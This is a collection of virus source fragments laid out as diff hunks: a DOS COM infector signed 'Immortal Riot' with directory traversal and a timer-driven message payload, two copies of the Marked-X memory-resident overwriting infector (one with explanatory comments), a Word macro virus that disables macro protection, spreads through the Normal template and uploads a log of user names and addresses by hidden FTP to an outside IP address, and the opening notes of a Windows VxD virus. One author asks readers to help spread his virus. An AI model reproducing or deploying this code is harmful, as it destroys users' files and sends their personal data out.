|
||||
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
;D-Traversal function begins
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
traverse_fcn proc near
|
||||
push bp ; Create stack frame
|
||||
mov bp,sp
|
||||
sub sp,44 ; Allocate space for DTA
|
||||
push si
|
||||
|
||||
jmp infect_directory
|
||||
In_fcn:
|
||||
mov ah,1Ah ;Set DTA
|
||||
lea dx,word ptr [bp-44] ;to space allotted
|
||||
int 21h ;Do it now, do it hard!
|
||||
|
||||
mov ah, 4Eh ;Find first
|
||||
mov cx,16 ;Directory mask
|
||||
mov dx,offset dir_mask ;*.*
|
||||
add dx,offset_off
|
||||
int 21h
|
||||
jmp short isdirok
|
||||
gonow:
|
||||
cmp byte ptr [bp-14], '.' ;Is first char == '.'?
|
||||
je short donext ;If so, loop again
|
||||
lea dx,word ptr [bp-14] ;else load dirname
|
||||
mov ah,3Bh ;and changedir there
|
||||
int 21h ;Yup, yup
|
||||
jc short donext ;Do next if invalid
|
||||
mov si, offset nest ;Else increment nest
|
||||
add si, offset_off
|
||||
inc word ptr [si] ;nest++
|
||||
call near ptr traverse_fcn ;recurse directory
|
||||
donext:
|
||||
lea dx,word ptr [bp-44] ;Load space allocated for DTA addr
|
||||
mov ah,1Ah ;and set DTA to it
|
||||
int 21h ;cause it might have changed
|
||||
|
||||
mov ah,4Fh ;Find next
|
||||
int 21h
|
||||
isdirok:
|
||||
jnc gonow ;If OK, jmp elsewhere
|
||||
mov si, offset nest
|
||||
add si, offset_off
|
||||
cmp word ptr [si], 0 ;If root directory (nest == 0)
|
||||
jle short cleanup ; Quit
|
||||
dec word ptr [si] ;Else decrement nest
|
||||
mov dx,offset back_dir ;'..'
|
||||
add dx, offset_off
|
||||
mov ah,3Bh ;Change directory
|
||||
int 21h ;to previous one
|
||||
cleanup:
|
||||
pop si
|
||||
mov sp,bp
|
||||
pop bp
|
||||
ret
|
||||
traverse_fcn endp
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
;D-Traversal function ends
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
Goto_Error:
|
||||
jmp Error
|
||||
|
||||
enuff_for_now:
|
||||
;Set nest to nil
|
||||
mov si, offset nest ;in order to
|
||||
add si, offset_off ;halt the D-Cool
|
||||
mov word ptr [si], 0 ;traversal fcn
|
||||
jmp short cleanup
|
||||
return_to_fcn:
|
||||
jmp short In_fcn ;Return to traversal function
|
||||
|
||||
infect_directory:
|
||||
mov ah, 1Ah ;Set DTA
|
||||
mov dx, offset DTA ;to DTA struct
|
||||
add dx, offset_off
|
||||
int 21h
|
||||
|
||||
find_first_COM:
|
||||
mov ah, 04Eh ;Find first file
|
||||
mov cx, 0007h ;Any file
|
||||
mov dx, offset com_mask ;DS:[DX] --> filemask
|
||||
add dx, offset_off
|
||||
int 21h ;Fill DTA (hopefully)
|
||||
jc return_to_fcn ;<Sigh> Error #E421:0.1
|
||||
jmp check_if_COM_infected ;I<___-Cool! Found one!
|
||||
|
||||
find_next_file2:
|
||||
mov si, offset infec_now ;Another loop,
|
||||
add si, offset_off ;Another infection
|
||||
dec byte ptr [si] ;Infected three?
|
||||
jz enuff_for_now ;If so, exit
|
||||
find_next_file:
|
||||
mov ah,4Fh ;Find next
|
||||
int 21h
|
||||
jc return_to_fcn
|
||||
|
||||
check_if_COM_infected:
|
||||
mov si, offset DTA + dta_filename + 6 ; look at 7th letter
|
||||
add si, offset_off
|
||||
cmp byte ptr [si], 'D' ;??????D.COM?
|
||||
jz find_next_file ;Don't kill COMMAND.COM
|
||||
|
||||
mov ax,3D00h ;Open channel read ONLY
|
||||
mov dx, si ;Offset Pathname in DX
|
||||
sub dx, 6
|
||||
int 21h ;Open NOW!
|
||||
jc find_next_file ;If error, find another
|
||||
|
||||
xchg bx,ax ;bx is now handle
|
||||
mov ah,3Fh ;Save
|
||||
mov cx, part1_size ;first part
|
||||
mov dx, offset buffer ;to buffer
|
||||
add dx, offset_off ;to be restored
|
||||
push dx
|
||||
int 21h ;later
|
||||
|
||||
pop si ;Check for virus ID bytes
|
||||
;in the buffer
|
||||
push si
|
||||
lodsw ;DS:[SI] -> AX
|
||||
cmp ax, virus_marker ;Compare it
|
||||
jnz infect_it ;infect if ID #1 not found
|
||||
|
||||
lodsw ;Check next two bytes
|
||||
cmp ax, virus_marker2 ;Compare it
|
||||
jnz infect_it ;infect if ID #2 not found
|
||||
pop si
|
||||
bomb_out:
|
||||
mov ah, 3Eh ;else close the file
|
||||
int 21h ;and go find another
|
||||
jmp find_next_file ;'cuz it's already infected
|
||||
|
||||
Signature db 'Immortal Riot'
|
||||
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
;D-Good Stuff - Infection routine
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
infect_it:
|
||||
; save fileattr
|
||||
pop si
|
||||
add si, offset DTA + DTA_fileattr - offset buffer
|
||||
mov di, si
|
||||
add di, offset origattr - offset DTA - DTA_fileattr
|
||||
movsb ;DS:[SI] -> ES:[DI]
|
||||
movsw ;Save origtime
|
||||
movsw ;Save origdate
|
||||
movsw ;Save filesize
|
||||
;Only need LSW
|
||||
;because COM files
|
||||
;can only be up to
|
||||
;65535 bytes long
|
||||
cmp word ptr [si - 2], part1_size
|
||||
jl bomb_out ;is less than 8 bytes.
|
||||
|
||||
do_again:
|
||||
mov ah, 2Ch ;get time
|
||||
int 21h
|
||||
add dl, dh ;1/100 sec + 1 sec
|
||||
jz do_again ;Don't want orig strain!
|
||||
|
||||
mov si, offset encrypt_val
|
||||
add si, offset_off
|
||||
mov byte ptr [si], dl ;255 mutations
|
||||
|
||||
mov ax, 4301h ;Set file attributes
|
||||
xor cx, cx ;to nothing
|
||||
mov dx, si ;filename in DTA
|
||||
add dx, offset DTA + DTA_filename - offset encrypt_val
|
||||
int 21h ;do it now, my child
|
||||
|
||||
mov ah, 3Eh ;Close file
|
||||
int 21h ;handle in BX
|
||||
|
||||
mov ax, 3D02h ;Open file read/write
|
||||
int 21h ;Filename offset in DX
|
||||
jc bomb_out ;Damn! Probs
|
||||
|
||||
mov di, dx
|
||||
add di, offset oldhandle - offset DTA - DTA_filename
|
||||
;copy filehandle to
|
||||
;oldhandle
|
||||
stosw ;AX -> ES:[DI]
|
||||
xchg ax, bx ;file handle in BX now
|
||||
|
||||
mov ah, 40h ;Write DS:[DX]->file
|
||||
mov cx, part1_size - 4 ;number of bytes
|
||||
mov dx, 0100h ;where code starts
|
||||
int 21h ;(in memory)
|
||||
|
||||
mov ah, 40h
|
||||
mov si, di ; mov si, offset filesize
|
||||
add si, offset filesize - 2 - offset oldhandle
|
||||
add word ptr [si], 0100h
|
||||
mov cx, 2
|
||||
mov dx, si
|
||||
int 21h ;write jmp offset
|
||||
|
||||
mov ax, [si] ;AX = filesize
|
||||
sub ax, 0108h
|
||||
|
||||
add si, offset buffer3 - offset filesize
|
||||
push si
|
||||
mov word ptr [si], ax
|
||||
mov ah, 40h
|
||||
mov cx, 2
|
||||
mov dx, si
|
||||
int 21h
|
||||
|
||||
mov ax, 4202h ;move file ptr
|
||||
xor cx, cx ;from EOF
|
||||
xor dx, dx ;offset cx:dx
|
||||
int 21h
|
||||
|
||||
call copy_rest_stuff
|
||||
|
||||
pop si
|
||||
add si, offset oldhandle - offset buffer3
|
||||
mov bx, word ptr [si]
|
||||
mov ax, 5701h ;Restore
|
||||
add si, offset origtime - offset oldhandle
|
||||
mov cx, word ptr [si] ;old time and
|
||||
add si, 2
|
||||
mov dx, word ptr [si] ;date
|
||||
int 21h
|
||||
|
||||
mov ah, 3Eh ;Close file
|
||||
int 21h
|
||||
|
||||
mov ax, 4301h ;Restore file
|
||||
xor ch, ch
|
||||
add si, offset origattr - offset origtime - 2
|
||||
mov cl, byte ptr [si] ;attributes
|
||||
mov dx, si ; filename in DTA
|
||||
add dx, offset DTA + DTA_filename - offset origattr
|
||||
int 21h ;do it now
|
||||
|
||||
jmp find_next_file2
|
||||
|
||||
GotoError:
|
||||
jmp error
|
||||
|
||||
Psycho:
|
||||
; Check if already installed
|
||||
push es
|
||||
mov byte ptr cs:[100h],0 ;Initialize fingerprint
|
||||
xor bx, bx ;Zero BX for start
|
||||
mov ax, cs
|
||||
Init1: inc bx ;Increment search segment
|
||||
mov es, bx ;value
|
||||
cmp ax, bx ;Not installed if we reach
|
||||
je Not_Installed_Yet ;the current segment
|
||||
mov si, 100h ;Search segment for
|
||||
mov di, si ;fingerprint in first
|
||||
mov cx, 4 ;four bytes
|
||||
repe cmpsb ;Compare
|
||||
jne init1 ;If not equal, try another
|
||||
jmp Quit_Init ;else already installed
|
||||
|
||||
Not_Installed_Yet:
|
||||
pop es
|
||||
mov word ptr cs:[Counter], init_delay
|
||||
mov word ptr cs:[D_Mess], 1
|
||||
|
||||
; Copy interrupt handler to beginning of code
|
||||
mov si, offset _int_08_handler
|
||||
add si, offset_off
|
||||
mov di, Int_08_Start
|
||||
mov cx, int_end - int_start
|
||||
rep movsb ;DS:[SI]->ES:[DI]
|
||||
|
||||
mov ax, 3508h ;Get int 8 handler
|
||||
int 21h ;put in ES:BX
|
||||
|
||||
mov cs:[duh], bx ;Save old handler
|
||||
mov cs:[duh+2], es ;in cs:[104h]
|
||||
|
||||
mov ax, 2508h ;Install new handler
|
||||
mov dx, Int_08_Start ;from DS:DX
|
||||
int 21h ;Do it
|
||||
|
||||
push es
|
||||
mov ax, ds:[2Ch] ;Deallocate program
|
||||
mov es, ax ;environment block
|
||||
mov ah, 49h
|
||||
int 21h
|
||||
pop es
|
||||
|
||||
mov ax, 3100h ;TSR
|
||||
mov dx, (offset int_end - offset int_start + offset part1_end - offset Code + 4 + 15 + 128) SHR 4
|
||||
|
||||
; these two lines are the "long" line above..pls, but ‚m together..
|
||||
; mov dx, (offset int_end - offset int_start + offset part1_end -
|
||||
; offset Code + 4 + 15 + 128) SHR 4
|
||||
|
||||
|
||||
int 21h
|
||||
int 20h ;In case of error
|
||||
Quit_Init:
|
||||
pop es
|
||||
Error: ;On error, quit
|
||||
Quit:
|
||||
mov ah, 3Bh ;Change directory
|
||||
mov dx, offset root_dir ;to the root dir
|
||||
add dx, offset_off
|
||||
int 21h
|
||||
|
||||
mov ah,3Bh ;Change directory
|
||||
;Return to orig dir
|
||||
add dx, offset orig_path - offset root_dir
|
||||
int 21h
|
||||
|
||||
; Copy buffer back to beginning of file
|
||||
mov si, dx
|
||||
add si, offset buffer2 - offset orig_path
|
||||
mov di, 0100h
|
||||
mov cx, part1_end - part1_start
|
||||
rep movsb
|
||||
|
||||
mov di, 0100h
|
||||
jmp di
|
||||
int_start:
|
||||
_int_08_handler proc far
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push ds
|
||||
push es
|
||||
pushf
|
||||
dec word ptr CS:[Counter] ;Counter
|
||||
jnz QuitNow
|
||||
;ACTIVATION!!!
|
||||
mov word ptr CS:[Counter], delay ;Reset counter
|
||||
|
||||
; Set up DS & ES to equal CS
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov si, offset Messages - offset int_start + int_08_start
|
||||
mov cx, cs:D_Mess
|
||||
xor ah, ah
|
||||
LoopY_ThingY:
|
||||
lodsb ;DS:SI -> AL
|
||||
add si, ax ;ES:BP -> Next message to display
|
||||
loop LoopY_ThingY
|
||||
|
||||
lodsb
|
||||
xchg si, bp
|
||||
|
||||
xor cx, cx
|
||||
mov cl, al ;Length of string
|
||||
mov ax, 1300h ;
|
||||
mov bx, 0070h ;Page 0, inverse video
|
||||
xor dx, dx ;(0,0)
|
||||
int 10h ;Display ES:BP
|
||||
inc word ptr cs:[D_Mess]
|
||||
cmp word ptr cs:[D_Mess], num_messages
|
||||
jnz Sigh
|
||||
mov word ptr cs:[D_Mess], 1
|
||||
|
||||
Sigh: mov cx, 30h
|
||||
Sigh2: push cx
|
||||
mov cx, 0FFFFh
|
||||
DelayX: loop DelayX
|
||||
pop cx
|
||||
loop Sigh2
|
||||
xchg si, bp
|
||||
QuitNow:
|
||||
popf
|
||||
pop es
|
||||
pop ds
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
jmp dword ptr CS:duh
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
; Please don't just change the notes here included in the virus, and
|
||||
; claim that it's your production. I know this isn't mine, but afterall,
|
||||
; you could atleast say that I "renaissanced" it. Cuz mane people actually
|
||||
; scans their programs nowdays (..or atleast here..), which makes it
|
||||
; quite stupid to spread a virus which scan etc can find. And well, I'd
|
||||
; like to get this little shit a bit spread..can you get it for me? :)..
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
|
||||
Messages db 0
|
||||
db 15, 'Maria K lives..' ; She ain't dead..
|
||||
db 21, 'Somewhere in my heart..' ; That's truh..huh?
|
||||
db 22, 'Somewhere in Sweden..' ; She lives here!
|
||||
db 26, 'I might be insane..' ; I might be that..
|
||||
db 38, 'But the society to blame..' ; Might be true....
|
||||
db 40, 'The Unforgiven / Immortal Riot' ; That's me....
|
||||
|
||||
_int_08_handler endp
|
||||
int_end:
|
||||
part2_end:
|
||||
|
||||
CODE ends
|
||||
end part1_start
|
||||
|
||||
; Greetings goes out to: Raver, Metal Militia, Scavenger,
|
||||
; and of-cuz a mega Greeting to Maria K !..
|
||||
@@ -0,0 +1,109 @@
|
||||
; Virusname : Marked-X
|
||||
; Virusauthor: Metal Militia
|
||||
; Virusgroup : Immortal Riot
|
||||
; Origin : Sweden
|
||||
;
|
||||
; It's a TSR, overwriting infector on files executed. If it's the
|
||||
; twenty-first of any month it'll print a note and beep one thousand
|
||||
; times. It also sets time/date to 00-00-00 so nothing will be shown
|
||||
; in the fields when you take a "dir". It'll print a faked note when
|
||||
; it goes into memory aswell saying they executed the file's not there.
|
||||
; Urmm!.. Anyhow, enjoy Insane Reality #4!
|
||||
;
|
||||
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||
; MARKED-X
|
||||
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||
|
||||
virus segment ; segment's and shit
|
||||
assume cs:virus,ds:virus
|
||||
org 100h
|
||||
start: mov ah,2ah
|
||||
int 21h
|
||||
cmp dl,21
|
||||
je happy_happy_joy_joy
|
||||
|
||||
mov ah,9h ; Print the faked
|
||||
mov dx,offset note ; note.. (bad commie or filename)
|
||||
int 21h
|
||||
jmp makemegotsr
|
||||
|
||||
happy_happy_joy_joy:
|
||||
mov ah,9h ; Print the virus note
|
||||
mov dx,offset society ; to show that we're here
|
||||
int 21h
|
||||
|
||||
mov cx,1000 ; Print 1000
|
||||
mov ax,0e07h ; "beep-letters"
|
||||
beeper:
|
||||
int 10h ; to screen
|
||||
loop beeper ; (results in [ofcause] 1000 beepies)
|
||||
|
||||
makemegotsr:
|
||||
jmp tsrdata ; Celebrate! now put us as a TSR in memory
|
||||
new21: pushf ; Pushfar
|
||||
cmp ah,4bh ; Is a file being run?
|
||||
jz infect ; If so, infect it
|
||||
jmp short end21 ; If not, back to old int21 vector
|
||||
|
||||
infect: mov ax,4301h ; Set attrib's to zero, keines, finito
|
||||
and cl,0feh
|
||||
int 21h
|
||||
|
||||
mov ax,3d02h ; Open file
|
||||
int 21h
|
||||
mov bx,ax ; or.. xchg ax,bx.. but that doesn't work here
|
||||
push ax ; Push all
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push ds
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
mov ax,4200h ; Move to beginning (?)
|
||||
xor cx,cx
|
||||
cwd
|
||||
int 21h
|
||||
mov cx,offset endvir-100h ; What to write
|
||||
mov ah,40h ; Write it
|
||||
mov dx,100h ; Offset start
|
||||
int 21h
|
||||
cwd ; set date/time
|
||||
xor cx,cx ; to zero (00-00-00)
|
||||
|
||||
mov ax,5701h ; do that
|
||||
int 21h
|
||||
|
||||
mov ah,3eh ; close file
|
||||
int 21h
|
||||
x21: pop ds ; pop all
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
end21: popf ; pop far
|
||||
db 0eah ; Jmp far (?)
|
||||
old21 dw 0,0 ; Where to store the old INT21
|
||||
data db 'Marked-X' ; Virus name
|
||||
db 'Will we ever learn to talk with eachother?' ; Virus poem
|
||||
db '(c) Metal Militia/Immortal Riot' ; Virus author
|
||||
society db 'In any country, prison is where society sends it''s',0dh,0ah
|
||||
db 'failures, but in this country society itself is faily',0dh,0ah
|
||||
db '$' ; Information note
|
||||
note db 'Bad command or filename',0dh,0ah
|
||||
db '$' ; Fake note
|
||||
tsrdata:
|
||||
mov ax,3521h ; Hook int21
|
||||
int 21h
|
||||
mov word ptr cs:old21,bx ; Where to but it
|
||||
mov word ptr cs:old21+2,es
|
||||
mov dx,offset new21 ; Where's our to be called
|
||||
mov ax,2521h ; Fix it
|
||||
int 21h
|
||||
push cs ; push it
|
||||
pop ds ; pop it
|
||||
mov dx,offset endvir ; Put all of us in memory
|
||||
int 27h ; Do it, TSR (terminate & stay resident)
|
||||
endvir label byte ; End of file
|
||||
virus ends
|
||||
end start
|
||||
@@ -0,0 +1,103 @@
|
||||
; Name: Marked-X
|
||||
; Author: Metal Militia/Immortal Riot
|
||||
; Resident: Yes
|
||||
; Encryption: No
|
||||
virus segment
|
||||
assume cs:virus, ds:virus
|
||||
org 100h
|
||||
start:
|
||||
mov ah,2ah ; Function 2Ah: Get System Date
|
||||
int 21h ; Retrieve date
|
||||
cmp dl,21 ; DL = Date ( tests against 21st )
|
||||
je Payload ; Its time for the payload, 21st of month
|
||||
mov ah,9h ; Function 09h: Print String
|
||||
mov dx,offset note ; Location of decoy note
|
||||
int 21h ; Explains why the file will not run.
|
||||
jmp Go_TSR ; Time to go TSR
|
||||
Payload:
|
||||
; The test at the beginning proves it to be the 21st, now to
|
||||
; drop a bomb on victim.
|
||||
; Prints the payload message to announce wtf is going on.
|
||||
mov ah,9h ; Function 09h: Print String to Standard output
|
||||
mov dx,offset society ; Its the message
|
||||
int 21h ; Tells DOS to announce our presence
|
||||
mov cx,1000 ; Print 1000 times
|
||||
mov ax,0E07h ; Function 0Eh: Teletype output
|
||||
; 07h = The bell character, makes a beep!
|
||||
beeper:
|
||||
int 10h ; Video functions
|
||||
loop beeper ; Beeps 1000h times, The count in CX
|
||||
Go_TSR:
|
||||
jmp tsrdata ; Celebrate! now put us as a TSR in memory
|
||||
new21:
|
||||
pushf ; Pushes the Flags Register
|
||||
cmp ah,4bh ; Function 4Bh: Execute program
|
||||
jz infect ; If a file is being run, infect it.
|
||||
jmp short end21 ; If a file is not being run then we
|
||||
; must head back to the old INT 21h.
|
||||
infect:
|
||||
mov ax,4301h ; Function 4301h: Set Attributes
|
||||
and cl,0feh ; Keeps all File attributes 'cept read-only
|
||||
int 21h ; Makes the file writeable
|
||||
mov ax,3d02h ; Function 3D02h: Open File for Read/Write access
|
||||
int 21h
|
||||
mov bx,ax ; Puts file handle in BX
|
||||
push ax ; Push all
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push ds
|
||||
push cs
|
||||
pop ds
|
||||
mov ax,4200h ; Move to beginning of victim file
|
||||
xor cx,cx
|
||||
cwd
|
||||
int 21h
|
||||
mov cx,offset endvir-100h ; Length of area to write
|
||||
mov ah,40h ; Function 40h: Write to file
|
||||
mov dx,100h ; Start of Virus
|
||||
int 21h
|
||||
cwd ; Set Date/Time
|
||||
xor cx,cx ; to zero (00-00-00)
|
||||
mov ax,5701h
|
||||
int 21h
|
||||
mov ah,3eh ; Close Victim file
|
||||
int 21h
|
||||
x21:
|
||||
pop ds ; pop all ; Restores all registers
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
end21:
|
||||
popf ; Pops the flags register to keep it unaltered
|
||||
db 0eah ; Jumps Far to the old Int 21h handler
|
||||
old21 dw 0,0 ; Where to store the old INT21
|
||||
data_1 db 'Marked-X' ; Virus name
|
||||
db 'Will we ever learn to talk with eachother?' ; Virus poem
|
||||
db '(c) Metal Militia/Immortal Riot' ; Virus author
|
||||
society db 'In any country, prison is where society sends it''s',0dh,0ah
|
||||
db 'failures, but in this country society itself is faily',0dh,0ah
|
||||
db '$' ; Information note
|
||||
note db 'Bad command or filename',0dh,0ah
|
||||
db '$' ; Fake note
|
||||
tsrdata:
|
||||
mov ax,3521h ; Function 35??h: Get Interrupt Vector
|
||||
; AL = INT#
|
||||
; Returns ES:BX of old Interrupt vector
|
||||
int 21h ; Find out where INT 21h goes
|
||||
mov cs:[old21],bx ; Places the Old INT 21h vector into
|
||||
mov cs:[old21+2],es ; its proper place.
|
||||
mov dx,offset new21 ; Insertion Point of New INT 21h
|
||||
mov ax,2521h ; Function 25??h: Set new Int Vector
|
||||
; AL = INT #
|
||||
; Makes DS:DX new INT Vector
|
||||
int 21h ; Coolness
|
||||
push cs ; CS = Code segment that the PSP of TSR
|
||||
; progge is located in.
|
||||
pop ds ; Copy that into DS
|
||||
mov dx,offset endvir ; Put all of us in memory
|
||||
int 27h ; Do it, TSR (terminate & stay resident)
|
||||
endvir label byte ; End of file
|
||||
virus ends
|
||||
end start
|
||||
@@ -0,0 +1,126 @@
|
||||
Private Sub Document_Close()
|
||||
|
||||
On Error Resume Next
|
||||
|
||||
Const Marker = "<- this is a marker!"
|
||||
|
||||
'Declare Variables
|
||||
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
|
||||
Dim ad, nt As Object
|
||||
Dim OurCode, UserAddress, LogData, LogFile As String
|
||||
|
||||
'Initialize Variables
|
||||
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
|
||||
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
|
||||
|
||||
DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
|
||||
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)
|
||||
|
||||
|
||||
'Switch the VirusProtection OFF
|
||||
Options.VirusProtection = False
|
||||
|
||||
|
||||
If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
|
||||
|
||||
If DocumentInfected = True Then
|
||||
LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
|
||||
ElseIf NormalTemplateInfected = True Then
|
||||
LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
|
||||
End If
|
||||
|
||||
LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
|
||||
|
||||
For I = 1 To 4
|
||||
LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
|
||||
Next I
|
||||
LogFile = "C:\hsf" & LogFile & ".sys"
|
||||
|
||||
Open LogFile For Output As #1
|
||||
Print #1, LogData
|
||||
Close #1
|
||||
|
||||
Open "c:\netldx.vxd" For Output As #1
|
||||
Print #1, "o 209.201.88.110"
|
||||
Print #1, "user anonymous"
|
||||
Print #1, "pass itsme@"
|
||||
Print #1, "cd incoming"
|
||||
Print #1, "ascii"
|
||||
Print #1, "put " & LogFile
|
||||
Print #1, "quit"
|
||||
Close #1
|
||||
|
||||
Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
|
||||
|
||||
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
|
||||
|
||||
End If
|
||||
|
||||
|
||||
'Make sure that some conditions are true before we continue infecting anything
|
||||
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
|
||||
(ActiveDocument.SaveFormat = wdFormatDocument Or _
|
||||
ActiveDocument.SaveFormat = wdFormatTemplate) Then
|
||||
|
||||
|
||||
'Infect the NormalTemplate
|
||||
If DocumentInfected = True Then
|
||||
|
||||
SaveNormalTemplate = NormalTemplate.Saved
|
||||
|
||||
OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
|
||||
|
||||
|
||||
'Write a log file of this NormalTemplate infection
|
||||
For I = 1 To Len(Application.UserAddress)
|
||||
If Mid(Application.UserAddress, I, 1) <> Chr(13) Then
|
||||
If Mid(Application.UserAddress, I, 1) <> Chr(10) Then
|
||||
UserAddress = UserAddress & Mid(Application.UserAddress, I, 1)
|
||||
End If
|
||||
Else
|
||||
UserAddress = UserAddress & Chr(13) & "' "
|
||||
End If
|
||||
Next I
|
||||
|
||||
OurCode = OurCode & Chr(13) & _
|
||||
"' " & Format(Time, "hh:mm:ss AMPM - ") & _
|
||||
Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
|
||||
"' " & Application.UserName & Chr(13) & _
|
||||
"' " & UserAddress & Chr(13)
|
||||
|
||||
|
||||
nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
|
||||
nt.CodeModule.AddFromString OurCode
|
||||
|
||||
If SaveNormalTemplate = True Then NormalTemplate.Save
|
||||
|
||||
End If
|
||||
|
||||
|
||||
'Infect the ActiveDocument
|
||||
If NormalTemplateInfected = True And _
|
||||
(Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
|
||||
ActiveDocument.Saved = False) Then
|
||||
|
||||
SaveDocument = ActiveDocument.Saved
|
||||
|
||||
OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
|
||||
|
||||
ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
|
||||
ad.CodeModule.AddFromString OurCode
|
||||
|
||||
If SaveDocument = True Then ActiveDocument.Save
|
||||
|
||||
End If
|
||||
|
||||
|
||||
End If
|
||||
|
||||
End Sub
|
||||
|
||||
' Logfile -->
|
||||
|
||||
' 09:08:36 - Saturday, 28 Nov 1998
|
||||
' SPo0Ky
|
||||
' Blue Planet
|
||||
'
|
||||
@@ -0,0 +1,650 @@
|
||||
;
|
||||
; MarkJ, by Murkry/IkX
|
||||
;
|
||||
;
|
||||
;
|
||||
; Well this idea was very klunky (;) hi dv8) until I received and
|
||||
; dissassembled the F---- harry 3 virus. There I found that you could hook
|
||||
; VxD functions (yay) using the QG manuver. Well this made this virus easier,
|
||||
; the main difference between QG's are this is larger and requires a section
|
||||
; to be added the host; this is due to the method in how it gets tsr space its
|
||||
; section header is set to Virtual address c0000000 - 400000 (bfc00000)
|
||||
; which makes this section loaded at C0000000 an "unused" area in sharedVxD
|
||||
; memory this method will also work with the shared memory at 70000000 this
|
||||
; method will leave that 1000h area in memory even after the orginal program
|
||||
; is ended ;))
|
||||
; (*added now b0z0 has already used this in one of his new viruses I am glad
|
||||
; to see*)
|
||||
; As for the QG manuever well see his source code for more info but basically
|
||||
; he uses a fixed location to find the vmm Device Descriptor Block in memory,
|
||||
; then finds the schedule Global event entry point well you save this address
|
||||
; and replace it with a pointer to your code which will then be at the ring0
|
||||
; VxD land now you can call the ifsmger calls to do similiar to the mrKlunky
|
||||
; and then repair the Global Event call and your set. Yeah i know thats
|
||||
; confusing read the code and figure it out you will learn more and feel better
|
||||
; about yourself :)
|
||||
; Problems to overcome:
|
||||
; well VxDcalls are coded in this fashion
|
||||
; int 20h
|
||||
; dd 00400032 ; vxd vxdfunction
|
||||
; which is replaced with
|
||||
; call [vxdfunction address]
|
||||
; after the first time it is executed so the code can no longer be simply
|
||||
; added to the host, QG fixed this by "patching" all these Dynalinks back to
|
||||
; the int 20.... in Fharry, but he leaves the last one that is called at the
|
||||
; final write to file which is converted to the call[...] b4 the write to file
|
||||
